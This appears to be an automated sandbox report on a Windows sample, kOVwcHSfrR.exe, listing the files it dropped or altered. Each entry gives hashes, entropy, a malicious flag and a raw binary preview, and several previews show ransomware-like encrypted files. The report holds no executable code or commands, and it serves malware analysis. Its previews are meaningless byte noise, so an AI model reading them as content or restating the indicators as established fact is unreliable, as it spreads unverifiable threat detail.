Preview:	{.".TTQ.T.3Af..3....#.4...E..f......8.e..hr.5......=.........A.D.ik..Pd.a.&..Xt...<.3...Yg...3..P..i...(..?2....>O.'......s.9.k....r......C._.........!..%....t.......U..UY..h..Dq..S.fS..G..%FY......a...P.....L.jqI.~...3.M>T.1.W..F.....F.......C...1.`.V8.7..d.i....b....e.z.........J...<..5K.c.....uc............_hX.n...bJ..49....D{E..b.]..X....:.w..5...o.D:v....f.uov.s.>Z.A....;..w.... Qb]qu..j..{......D.....re..!..\|...Q.tV......2.....<.X~t7.X2.....J.B.I....@.........r....jO2.#....17.B..FL@...5.@......I:.^R..t.....;.s.....D.S...S2?...gp.YJ5x#......r....p....PQ....v..R4\|..[0,...p...".{.k..`Z....m8.....l\|...PL. k.....cJ.}..i...w....'.D)..F..S.H.!...+.2.....tJ..6cM>.....v.x........M..s.&>.{.....y.e...c%G...p.RB`..o....2.?..o.I.....C.Y....4#=.*x(!o...{F..w.,.7b.xK%..Y...O..F.....k..`.I.^...N....)...R.e.X(.b.e..jUi...o.8....R..~MH.O.....8.....(.?..v7...dhjo.....=Mh2.m.....T.o$...l.......Hq....\|).?_.ZA..e...\|...=n8..;1.o.B..V."..p%s.kS^8

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9244964894602425
Encrypted:	false
SSDEEP:	48:AwuBH51rMnPopZQ5wqMZ+zbmvczhmM7Weoky0AcNz8LmTXsbbRU9Sp8eyD:Ah5CPCZew34FmM7WbkyU1gRU9Sba
MD5:	66B887B436B670E4F1C16047F8469711
SHA1:	AE11788C165EA431B8B185A35A62533D42A05116
SHA-256:	8ED3C90EE5378333D2E4899182D09E1EF3524B5C46C6633EB7B04CE6860F5727
SHA-512:	4A71258F99421D94A463C889369FBF86A333646F30A54478D93B222E3C72FD4073160F76DAD48F017C40C81AF17BA580CBB0455910661DC5DF7E9472DFB1C099
Malicious:	false
Preview:	{.".T.R4.[.m.+..+Y..9v..f.....A.BN1.AX..^.mA..t"..@.T....E.E...)...W....o3m)iv#.2d.~...I..`..$..d.h~.j..Igkq&.w.g......+C.....Pc.{_dj....@.B.P.nBg.$...F.._.ok.u.....D(.t[AY!Z!u...VY...4iN..8.....4...1...m.X.5.>}u...}.......US....Q...@F2B:f.#._.^........+\;.C;...ea"...8..G.c..X.;.i.BEa.fWp..b...(..o t...'........L.p...ow..]X.".....x..S.T3.g*D.6s..\J<..5U.]_...z...U.T..?....l.(.`.$A,..f7..w.\|~=e#....xc..6h..%.Th.\c.-..4M..\|LI...........7?.m&...d..yq\#.Pg...k.wv...)._.f..~..x.^.e...D..."$d...P>WX....FA. KN..1%...\|RCdv.o..",....ToJ..r....+..!5...Z..e.!.{.a!."...B;...,G.;......Q.-]..\...u..[A..$.T.......yF.=.-..#.'........:P...:,.....hw,.}..>..y.....=...=.......w.o..9...N....kI.r..Y.#..%....Py)..?..{.=...NQi..{\|...h.....\|.JO9O...9R.S.]......'..\|.. :E..f..g...`.j.VC,..F.^.Pv....9..8lvi..6.....D..G....hy.[.......^.9=...O..G.w2._...3.P...o..qF..X.9`.!...?.MtP.:x.;.a......`. 5p.....q.........vULJ\|.F..2..VY..r.r.P.-9!...xv....xO6.o.x.8\...

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.709348287850647
Encrypted:	false
SSDEEP:	12:/Qy/X8piBz24IYM1A/aOmeRFDtlrwVPBBTVj3c/9+RU0qlMU++XnZ8UFBEKMAHiP:/QCCIMqHFMBBBYsBquNi8ULjMW1rw1bD
MD5:	47DDDA671E4416062EAA4CF25EDFA675
SHA1:	5CB143CD56B42C1500DD44275A5AEF3B03363E94
SHA-256:	3DF71B0B141F43C27CAA072041047C4FEFA8A1D4F716EB1291D018A4A7192DD0
SHA-512:	E5C8389FFD4D6C964BC55A73D16B28D5600D3746D95109BA4FFA0C3BD7F65FBF9FDC7D14C4B53BC7BCC70B74B44DB851829C025B6CB44D77451C194CEDB8F1CA
Malicious:	false
Preview:	....B.&@#.b..#..Pu...N..t.. j<WeA2..f4..5.,....V.cG.R......I-.../Y.(.../..$.T.#".......n..S.F+i.~L~...+.40.....#-...$..8.LX.j......EMjs..].5..~R. ...}..a}..1w..#.gd_R..c.j9.....M.....Rx.....3.~..;}.>..B..e..A.>...sM......3...0bh.t\|.....0.W."...X.z}.......jZS[4.Em.....Yb0....R....(6.qau.K..x1._.u....`utw.b.L...7q...(.L(.ig.......T.w.xa....J.[B. o]._x...3.......:4...+L...)7...J..=.Y...3...t....g.qw_u...H\..S..S...q...q.G.K6,pg..f.....;0c\|.ye}YW.....\|.........K}!+.ri...9.....#"..W....,.... %.....n.&..oF./.....2...q*k!bz%......9U.H..Q......Oz...>..v=.....I!...:.[..K....I..;....Z.....Z.........J...'.../..(..O.+.@/.[S2Q.S-./}........]..0m^J6.[.......h..#O..].3hTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332072342251295
Encrypted:	false
SSDEEP:	6144:KqzM+Xiiy+YtGmyaayKFetlbEZm+vyJfbnQkK96B88yKv4bWTmTvEiLSd:KqzMgiiiEm/aNc/oZm+6dF4/G
MD5:	1640E7860887915CD6C80F1993A81001
SHA1:	A2C6EBC18E95304BC57779F97C69DF8B4B421350
SHA-256:	0961949D59A48BEDCD958EFCFF4E3575DF1C08C5BB2EFF5C26FD76590A53EC2D
SHA-512:	DDAEEDED56EC70299AC2490F482FE2D6C6BCBAB41A1F87DED87ACF0148E9CEC62ABBDE2DCC19ADF1BED61DB93889D7EC6E01375D838BEE739D928B115B1A515B
Malicious:	false
Preview:	...P.y..V\. ......r.S........$.,"..o....e....R..y.:n.=^....\|1......H....b....@'...$.....'a>p?....:.........9<k6....fI......{.E..\x..X.8.......wX..a.D .\.;r.@9..q..3;.........l..Y..S....j..A.......C...Fy......R...R.V.z'./.Y... ._..F....O.......FG..<.e.~M..Z..\Y.......by.t..:J.....=xJ&..W..s.w..V..;..qp.=."a......(.(...Od.v.fy..q2.Z.o>.2>Q!.6......#)\...%e ..Y......\|0.....m.A...Rm+.:.4Fu.X./.M.....$1.1.ug.\|aU+...q..V......8s.[.<.&>.U.$...N....@...u..[{.B&..[.Xu..5RNl..?..;}...'....!......~.F.1.M...S\|j`.m...f.........k.jN.....<....7.6......9,..:g.Gb...p...G.....H.[n...\|.....<c~.chC1..;.9....#'J..WF......?...N\|ta..R...q....-..@f.Tr..dB...7.?O..\....xCu.G..Q\|....k`3.._.{.gS.b..Qf..7..Y5.........&~..hOJ.<.y.s&. .H../.WG+..c............&.8]..6s..d=6...C..0.p.n..F..".O..N....... ..Kc....9.@..7Y...mGuF...6.j.x..;P+O..".^...S./y.Z..G..!..z;...lH.........%W.....viy..nXdX......]..b.vE..hfy.QE.K...y.Lj.....W........."[..u).. .....@..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988681678555915
Encrypted:	false
SSDEEP:	384:1Ce8FWZbgkLty8o9eo0LBYbRsumTEr1EF+qEiYQpPT:1l88Z80s8icYbR79qEinl
MD5:	38087FB41A4538F9C921AD95618D1292
SHA1:	41C930EB438A07E7715BDA201C5875B274E12018
SHA-256:	26C70B4F1294DF90A517F22A5DB6187C3C6E802602678BBD81DCABD5A321A804
SHA-512:	A0F9392BCC509CF78A28E187A6F14AFB1C9C63A04C2A8D6BBC37C5F2DB21370330C742570C9DE54DCA0D74933ABBE0B7857B19038DF87B33925BAA9E3774A711
Malicious:	false
Preview:	.... .<.0[.U...$.g..3.q..+O..3..=........D..!...>.D.6.#.k..D.O....e....V9......x..{FN......"i..z......4.)..k.I.rP..A.....[.p../.P.....=....">\"TFSZ=.._....:Y....!.#..7..$......IG^!z..L!S....v.z..~.!.8,.u\|H..~.T.[=y...[....~...;...9.....;.W.]..`..=m.%gOKC...?...a.....j.$.x.B{...>..#>..g.....{.r6....yqB...4.s\|O..<z'.d.#.9.wa.y..p.'.c...'s.^j........]..j\|?.9W..}_i..7....,{..VJ......a...`...2.7.4."`.Y...Hb.L..1...[....6....\|.f..".%!..g$.7r:.Cy.xZL%..%K).A.yj..r.y.\".W.S...q...?.8O...kny.Rug....o...&.4.....K.9q>...@.Lm....I......Y._.o.O......Ft..1<Tk...../..9..A.t2;.%..B\|...)z...v1.3D...B2......US.,.?8;...../r+...y?f..[..E.~.........=.D...4)..YU....U..M^......ij._'..5....L...p.&...F..;..7Bp]..}.;.}...... ...l.9..H.).'...t.-..p.)c....A.~J..i...5.t=?..7.......s-^.Xn6.c\.\|.....Q7l..;..................#lux.....A...XMl[~g.r<.myJ\...4.G9...4..>.P...i..<y....'.3..d.j+v1..T..s.F.l..$+..&..?....3...p....6.........?.....`...}......kK.[.o...K.l..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989201169005188
Encrypted:	false
SSDEEP:	384:0HFE8HFd8HjnWbySlTVv+dqrMNUNirf/EFFSSyMgoCfw2:0lEqgWfh+dqrw/CFzyHZfR
MD5:	3F41F48EB202E32D8F3A6E348B091AEE
SHA1:	589FBE6EE4746DA686155EE17E2D63F6DF72620A
SHA-256:	FB1C34AD7BA9656E2F2F1DA814A59480AEFF13332A32A9EC850FD6A282FB733A
SHA-512:	5C85D3421889AC9A0CFCA06AADA8177C642FA88B56A5D6B2EA10DCAAEB3EBFE26074888E96E0F968F0C5B31A257DB40A1176C32569BD50D7C736CF444E5905F0
Malicious:	false
Preview:	....`v<.PH.GmZae..qylx.......(...uv?."...Y...!.I&..%...e...Z..f~.+N..R.;....Bu.n..e.+..2....Ha.4Oa ..L.ItK..g..^W.)..?.#.im.l..]YV../..\|.+..n..r....].#9...1..}v.G...C...:.. .T.... ...n.8X...m.y..."Ni.....k......~.EC...n&B.~.._.!YA........:.........] ..U.:8..kVh.G5(3fC.,..:.....eDm{e...K.....I.~...e.)s.:.....E.....5.U@p.v/k#...E..(.3[....4.s...$.5$J\`...d..1....h..pr...^-.(w.....G.X...4`Y........-..J....q.x.....?.b..{n... .1..G.r..N-zn..9.<E..Z...]...BC...E......v.Zx.....[a?../...nm%.d.....y=.....9..CS..0\|S...S......Ye..Zq.~..0..^ZH..c..vu..=P..r...h..P7.\.;t....X....2.,%.H...[...Nb..I.r..k<.tav.m..'..x..._f...{..s..7.Z.r.,(.KW.....<.......T}.?/.,.N........I.\@...p.m....@}3j..}'...'.....#.?j.;...!.=.K2....{.@.S.a..D.D..T.5.~.....;.JV...<8..i.... ....Z...}...#[...,.{...UEV...II.....s.Gtb.....{=<...)^..v8...U...........}....h_..A...SO...H.._..n..8.=.).J...#.t.0.T.3..5..q.Z\|..@r.Dpzf.p.p.m(.\|...t9-.0.7.....z...*..]f...2.sC@]....

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{10C46A9D-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331989924033567
Encrypted:	false
SSDEEP:	6144:q+lvcY7scUDjCa7+8twzMhBRPzeZpm+vyJfbnQkK96B88yKv4bWTmTvEiLSO:/5ajCoDtw0BRPz8m+6dF4/B
MD5:	09CE0A93218819FA4EA414EBCE9E369E
SHA1:	AAAEBE4E2B6CCDA7FF1DB9C75290A86237A34140
SHA-256:	7D6749C7A33C0976177E87D16BBBF67D98BD844030E9053A51489274EE233BAB
SHA-512:	58AAFA425E3E311E1D07CD929DBE574C5C51B114CA90CED8A9EE8377BF6744EB3494B2C9CFB1A7F103FC3383E7263CEB59D661DF93AB9D8B6CF6AC96DB9918BD
Malicious:	false
Preview:	.w.. ..sj.^......!......l-.d.4.n...:>.A5.....E...A.../..J..M.e.H../..;r.../...hM.?.......^2...I`Gv...'0Q`G.........W.k#.....Z\.3..&......M.{....\|X.#w..d.'..c.........74..Q.........zJ.-..........h=(..G..Z.kuk .0`..`N..'o....m}...9F..)C.}:(.4.oM..J....c....l.+.1h..S#3@8:...h.....7.\|SQ.5...5.y....1.s&...=.][xr..p.=.0.j5...22Sf.V......;..q........R...."+9.SZ.X"..........N.G.&.IX..w...J-......L=.KcW...d.Qr...8@.e.!.b^.h.\5~.n.R..N.R.Y.C)..d......,r."x=q.n.2L6\O.F.$Pnp.>..F?l_.).Qu......j.$..$.W.g...........6.N......A.....FGS.N5:..vO....\WW8....N.'..."...Q.M~s.........o.....[RP0@.k.tLAx..TA...j5....x......r...b...M...Ts.o...$.A. .h0G....$.%..h..G0..p.X.m.j.;......(IQ.l..D$.~wQ...I.>.S....=..F...,/.3Kku.NC.....Y..b...v.y...g...Q.1.!...S.U...g....1...3q......)..]...`.!.i....A...I.fM......g..cS...kuO...!..S...r).$..H.:..L:......G.I.S. ..Gz..>..5.....=.2.h..HaP'.H...4....gV..boJb.....L1e...v.?{ ...A.u..<h...to`...Q..f.s.......$.....I&.[..fLvVf..M..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	103982
Entropy (8bit):	7.998385507195764
Encrypted:	true
SSDEEP:	3072:OYbT87nX9mbLxMur3Oxh0236dnX3qpkVOp0oC0ZLi3X5NNkTO:OYbY78bLxMuzOv36pnykVKFMn/Nki
MD5:	A44808860ECE5B5AB6A05A2E7E5C5161
SHA1:	BB47EFBD75B87750A813C6E068CE175E0FB2F645
SHA-256:	D38042768DF5423AFB77CE27B324262794DF7C36468BC2A584CE9B331CF268DD
SHA-512:	072D964B1FE40C5C8DC67AB91D682C66C891E97C029E5EAAC9F2F620D9528CA3BDBCD5B162102B653C76D678005567C623C4FB0E7383424A4C85C6C2E68DB736
Malicious:	true
Preview:	....h..IS...+.ZJ...P.`IO.....A.I...&..#...9..cs....Hi...'5....j.rR.l.a.A..\|.-.U.cT..M...8..2....l.K.R....s.y...V....}...z...u..K.k..bq]z..Xo.@.F..S...@?..<... ...~dI...A.$zQ.k.C..,.o..P..]?.4%.........K..C-.>.Z+..O.$.'..Xe..3.!.+.<$E...)...(a. .........%..r.......J~.u...s`.Z.4K%......+......I...]k...H.L....k.D'.mO..h..w.bf...e...........g.1.[x.[.8.a.....a.Z...F....\|...<..[.z......q. ....gz.]u.Y..v4X......i_I$..,N1.FI..2..~..Iwx......7..L.~...eM.....].n.<@)U....[.......!.`..C...N.P .ap.....N.!=..<%.....,..H.n{..&...t...w.ti.(7e.%....."+....p....:..U(}..we.s...b.....qnf..$....m.3..........dq.2.f.b.. .T.Xa&\8O".=....0..\|.5af..T~c/.C.U`<.K........fl.....5\..V'C.X....V..d.........b..o...........iH..L,...q...*.l.3..}1.[EF.g.#.....W..pk.....VfV...o..%..U...m.`$..sA.-.`Ni....3..=...:.7q.........$..F.........9..... .].G^!v9..fkH.....<.....q.)..t.s.k.R.(.e}`s.%D...`a,\|E.L..\...c.._.]q.O........nh3.X...t$...-M`L.&?...\..6......]...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	102734
Entropy (8bit):	7.9980918572014765
Encrypted:	true
SSDEEP:	3072:HM0OUIk4CMkeIn4LJq6LEb9JDhWJqyekfUA:lI1CcnL46S9JDhD3kMA
MD5:	BBFEBC1D2BF3E62F85C7B88A0F4F1901
SHA1:	D14CF8EFAD59E6A18F6EDC06BA68E08C278DB6ED
SHA-256:	9C1CCE28FFE73E66BABBAC22465A1F85067879103E9397C68260FEF3AAB7CBFF
SHA-512:	747882E2EE7F019641DB90EC948260087BBEE0D0006C6FD8E04C3D213314F7FD97CF7A18EF6AA610414C583C086F702047CD0246FFE1C0E09EE747E9F7995F54
Malicious:	true
Preview:	....hPT~F....dC...SH...C.cG.tf......6O....xTe..N.YVA../6....Yy'.b..b......^.s1..EKS...?.J+..<.r.....Y;..4.#..^:....R.....,D6...V.$..K........r\|.X}..>..SfW....&.R.D./8.DG..\..w.....PG...\4.A>.ZQ"~Zi..w.#.[.<.KD...O.\|.......w.@.............r.....wI..#N...K .TD4`3.....Ta_..+..5.e..g..2nx. ...J)m..e...^O...k...6.Yb,X..-...X..PA.T.....<A..}.C.>H=.....&P;..@.J.C.[....8..._....0wE.T&..[.....wp..&.}.....i[ .!...j..~../.Alp.Xu...XM.j........T1[6.#w....h.{8.....\|..~.ZY.1....upe...$...5Q...#.#^K.]J.N..Q!.Eqo8!.w..'%r.'../L....O?.qBP..x.....E.EI..[qU.HH..4..x...P....v....~,.@G.N..`k....d.... >..a.......7e.\|.E..MT.g/.....D..g..O/...c....%..WR0.....j..x..r..?.VA..t........K..%B.m...TLA...v.?.......7....v._.xiQ~.....B=....f........9.....;.=.1.Z+.sU...H..gX..N . A.%\|.`.....x.Z\e&...j9`.z.nc..{E..).....b.....6.i...~c.....\|....'..!.{..=..D.@...Z..Y.r.-.).T.PE.q...Y.&t{q..W...v1...H.._.u......i.p......`'.[1...........@...&dO.....3.H.!..+.ON..um..D.W]H,...

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	133230
Entropy (8bit):	7.998698833748328
Encrypted:	true
SSDEEP:	3072:QuDk1lI0Gfjo6H1AoW5pbNF5NFmAYLYsGUh6vB9pW7G9DWxbi6:0lktgpZFPFDYRQvB9w7Rbl
MD5:	385A2B00F9D5E9B4EEA649074BDF0C78
SHA1:	338786D7B7D43AACF9330266780DE1BDF1FF02EA
SHA-256:	996CB6E23A02C6A8460DC80D2EDBDCFACF7C5C823D242CA85A6BFFCF864D074E
SHA-512:	E0F4FE3AD8DCFB6BBEB93401A3977EABAA882D987CE5849C7B7F3AC8DE968CC7BE667774857232E8FB0BEEE329F52920FC4775A454CDBC85C8B51169301FC20F
Malicious:	true
Preview:	.....J...}..........F.O_.#...t.X.!q.t.......<zs..1...M...t'2.9.....0n.U.ni..fIC...FF..7l;.[.q..[c...A ...6.,..wB...X[.o..,MJk.n..un_.Sg4h...X.{.?/.#...2.N....Z..D.mZ......Ww.o....BJM..zV.eT...#..h...f..9Lf.4.....q~.(.e....dP...(6d.>D<f9...03....W....}....m.{y.+..i,_a.R..M.......4....\DU.@....@G0.a-..:^....7..>..l.F.;..!.....r...,z.Z....\|.y.Q.$.9.H.....O:.S ..DMK.....5.9..B{$......}.4...).......7\I:6.K.].&K.o{....0....X.._.XnM....n..K...f#t.s.....fO.{!0z.....q;p.,......q..Q.Q.\#..-?qcdD."....;..'..OeG....7:..q'.....\.V.;P...._#~l?.GK.Eo ...m.........5...!....X.6.C7.Z......Q%..9(...)h'd..k....h.2.J...%...fA.d.f..CcJ.F.pU.G.Y.mw..wsT.,.....p.J9...3QpH#...obS..8J.f..X.Q.^6..y.....M..L..y.L.5.B...JX.2.......p.hT.\|d.X_!......x...Q.l..9X...l.....]NU.z...<...#..a.g.n.;..f...'.~..D..z.'.Q!..+u0.w...b.rp..$].=,.......%:TK..r.."sC..X.....L...$8.1._.......<.hK....0..\..l..fn......;...E....^R.F0.U......)O........../.....Il...O.T.....]V...fi...1~

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	87486
Entropy (8bit):	7.997800034112153
Encrypted:	true
SSDEEP:	1536:k/V9rO4i44b0ruBFLi8FSuRsm83kamQDv3avjK77PBccyrspg42:k/V9rO4nVY+YRsmAkamqqvjMVyrcg42
MD5:	DAF098E078C56FF553A5A219AB2FDF52
SHA1:	B52A1F02DE09C13323A42E1C184AE8B598F7F428
SHA-256:	D56B58609A8A507E75F6C0217040CFBD383AC3541B7D3CABE9910EB0DD5891C4
SHA-512:	B7C5DC22B82B6F471EA0F32DABBB1DBBF110C7D55CA5B930A89004169BA834A8C686B0C8AFC0FF821DEE027E5449B66753D67F6C1314F3821751542862D1530E
Malicious:	true
Preview:	...........j.+......amj..f.]~....q^..g...w..D.KZ2b...P3.wM...3.,..Mo._"..I.w...).R...`.....}.UZ...44..<..}i.....Dd<.b.v...Wn....$..k<Xw\.&.....I..Q..B@z........E8t}.%.......s.#8..<>.jb......~..._.s2a...S..R(u.?.WQ....'47..P.3&W.Z..f.6....@..h.kS4...<..q..$.+V...._..kM.cH?..-....(...J.....Jx......c.q .=..@.. .&R..lS.4....'G)q...z.L.....y0`...y.C...`..@ZW..s. ?....5....h.QF.r.z.d....o^.D......+.=.C..6....@.V.v.N.0.4. .+.....i.E.[!..r?...X.&V..N...^.[q2G........\|%I.T....IQ..`?KFr.%.1M..`..j.2...H....b._..=f..5a....../.X..uP.......h.F....hmmA[...e.m&xT.../..h......-....KvU.dq..O8(....vt.f......3........m..#......\|..<..T..}......82..6T'..$"...:.a.x.x.#..-C..Tg.R8s..;......L.DT.XRT"..O+?.......)?......}s..j....%..%y\|.J.O.......o.y.%#H.jM.7.=.7%6. ..1..?8.......v...{..t.O...\y....6.O...AS...M..3b>....c{...0.=%.....H...;...Ur..;.....,.....b,R<.3t_.....U..W.s.....l...s..M-.}..&........q3...r...f+d%.<W......74P.JCf....g.....8.....3..k..5

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	532814
Entropy (8bit):	5.901739349305172
Encrypted:	false
SSDEEP:	6144:QMwXPU4S9jvJhi6eegn9XpKvwH2C77SxPOloijo5LDNpIpMXwqxoE+z33:0s4A5pgn95vWC76fhXs
MD5:	7470001C46018BE04A173DCC595858AE
SHA1:	51D183858E86EA8DA35C19CF9BF30A33352590FC
SHA-256:	A4D26643180F9C07179DEF4CD72730D490729B1CEE3E85C7A4C2E60E90B5CDFF
SHA-512:	D35BDD0F9086968FF1BD8550A090698329079B3B4AF71E9C262F9BD1B2E8AACF00504E6261A2CE5FCFCE4C2709CFF4E2C9487A0498DAC38DB705BFE831476804
Malicious:	false
Preview:	. ........%.f.....4?4.z...AFN....T.).,.a....W?.#.5.z./..s..P..uq....0......,j...]tZP.O:..\|..._.$..Try....3...%.9m.S......!......f.P..&1..z..w.F..3....Eyq4.L.../.........\.......8.0F.pi.G.}..l/....X5.6...K.K...._<.....;?..............f..A2&h.J......\|v.A(......k..H....._...N.T..a...T07.[%+.M.w..m.....Y..R..d...<..me..<D..H...%..U.typ.6.%.#....N4.].4m...[._w#.H...0....m8...Ld=_U.F..:......h.K.%3........a.M...v.j..Yh[.2C.C'......6c`....P..r7!.1......q#..&...^z...6.....?..~.DIu.i..X.....O..m...l....=m#@....^...o.9...C0.3..+....BBow.g..KP.w_..K...M..s.K._/....j..v.+.....\|i9..DM......2<x........q.....;R..~A...1U.=#..R.W.My...T.u..=.L......m0V......o.Z.y...0......dK..M...S....T.{..tM.t..#..H+..b.@v.6.....v....=.{d..+%&......t.@..........),.AYe.X...Vc.G......2b..b...7....C\|....\|...&j..;.\1.Z.N....&d.Vv>&..'.........G..n...N.E;...).m.P...c3. ..3.O.o.b.l H4.6x.ZX$\/.V...'..w.5j...v...k..G.o"-0.w+...ST.W..Z.\#.9a."g..8...=..`

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993065179551059
Encrypted:	true
SSDEEP:	384:7zD9X+tzsUUYEMqekhLY7sAjzqmawSeiTaysLRqWqMBMLpXhp:EtzsRBZBSAAjumLiDwqWAVXhp
MD5:	EF77AD1A81C463B38B6DC443BC75F07D
SHA1:	B9B5548FC7AB134208B51E0CC23016FCA0C081C1
SHA-256:	F9B6FDFA8AAAC65B4BA1ECECCCFB908D6DA01C7116BD08D18E3E8F667D3354EA
SHA-512:	7AD6F063D961136F000D270930CAEA301C98C273AD5D434CA9418E092EE92D66AB4B450C83D7BAC244702763F7F8D7ECC7F6CCB2C408028E04D936BF4284E4F7
Malicious:	true
Preview:	. ....u.C2...aj....U..........%8.g."`!.xY..A.-.....xl......a...._:U......J9.....'...v.0....4..s..Ma.2.O....r.....k.d.WG.U..A.....7....}.. k(..Fm2:.3....$......Z..q.jf+.@....=....0."t..,ZP..+.p.Z6.Q.M.F.'.^.#....mv..b...$..o.S./..I.......2.1..2.'C...7....<..3Z...~.....=...Hp..........K@.......-.T.W..p........=...!UW9.F./.}Vj.............3d....sx.m~\|.....CH..g;UH<.;!u...q+....j....`.'(.h`0.5.m..+..L.$.3.U,...\|E`I..y.+\..G..%.7f...>p.X.Y>.a.^w...`.t#HI.H....~...I!Br.d2....W&.:..e..;...O...&.ar.[..h...F..+... c?..mj!.BW.v..(.T......\]./..."...J...$..0..?..d...,.q.6.......&..a.4..Jl.uJk..em....R\..h.ik..U........2.{...:..x...X\|..,5.N.......Y0Wh&.Q.".Y.p....oJ..R..B.<`Yv..~....qR>.m....5...RO./u..e.>.....2Pv. ...<.."L......1....(...caK..d%.\|.K.&\.5x}....(_..L.K.6..k.myU..t..O_.y=z......T.K... .Fxm(..;=>.ZY...;...ve..>..>\...?c...)tb8....-.[......g...A..oK.~.5U...#ga.b.Q.B8...V.....Z..+=.....E$.{..zw+..r....U..nS1d.'..O.C...!l.i...

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.30049029009488
Encrypted:	false
SSDEEP:	6:OmP3vPnfpRdY5EdS9hGC6csiC4HmKUuIOnTe/VqReuXnyKowfw5XeWcii96Z:OmPZP6hGuFCZ19OTe/VLKRoqw1cii9a
MD5:	5EB937D8A47EF8DC620D0A18F69D25FE
SHA1:	0E7736D5C303EF5B51ECF0CEE45FCF411D54BBFB
SHA-256:	E6B744599AF15EE26E663AF76E0AB70CD5E263944A2E9C425C03567C9618F099
SHA-512:	5E1108746DB7F77E1C7EDA016790528DA4EF05947D8637F4E5BED6A1FF4D3E2ADEA4C97203053A3EA6B732EE4E2419D7CA1C751E3EA892F980F915A6A5560B80
Malicious:	false
Preview:	CMMM ..M^.t;og^.z.g.<........\..G..a.....s.7....NZ.....Y..e~-...b=.KmQ.\...X w.f.$.f.L.u.....gH0.n..+.6,.6..{......\...\|...Z.%%....4..P.+.....t`.Gyq=T~...yI?...7.mh.}P#O.o..7.....>'...e$s.G....%..? .&..~!......MU.m.....u..f...x....6..Ws......(jlh...$_...U..P-..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.29730337435442
Encrypted:	false
SSDEEP:	6:ADS5fTJQYkYr4l6Rs+wBIB2H/YNazsXD+VRvKZEYR+wRmPDowfw5XeWcii96Z:oS5fT8Yr4AGIBHgq+VRvK6ORmPDoqw1X
MD5:	A6980C69371B69B232BE5CAB21B3ECF5
SHA1:	04854043F8EB90F723C0EC9F5CA1615A681EEEBD
SHA-256:	4718544B91074C61120C36A8EBADD8844CA80F7960F3D17E45803086AD1BCD7C
SHA-512:	C54D7F06327418BA780FCF9311B9F57952C3AB6C2696DD6B2982D169FC9EE8D9819ADC7660CEC7C51AE9048624257F99C644EA432C592879F7C58A6790598121
Malicious:	false
Preview:	CMMM ...I.o..bo...\|...#.@3.D?..Dd.`.% .....E.3....i..{..+.h..`7..D.]s..#.@...).....F.I.e....\@.W.'.}XL#.y.B...........-.nYg.2...m+.a.....^3...6..bH..&..8..>.XCH=..+..j.j$..O...d.p..r.0S...g.........O..V.>..q....U..#............^.#h:....N..z..hs?fg]...Be.e&.....\|.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
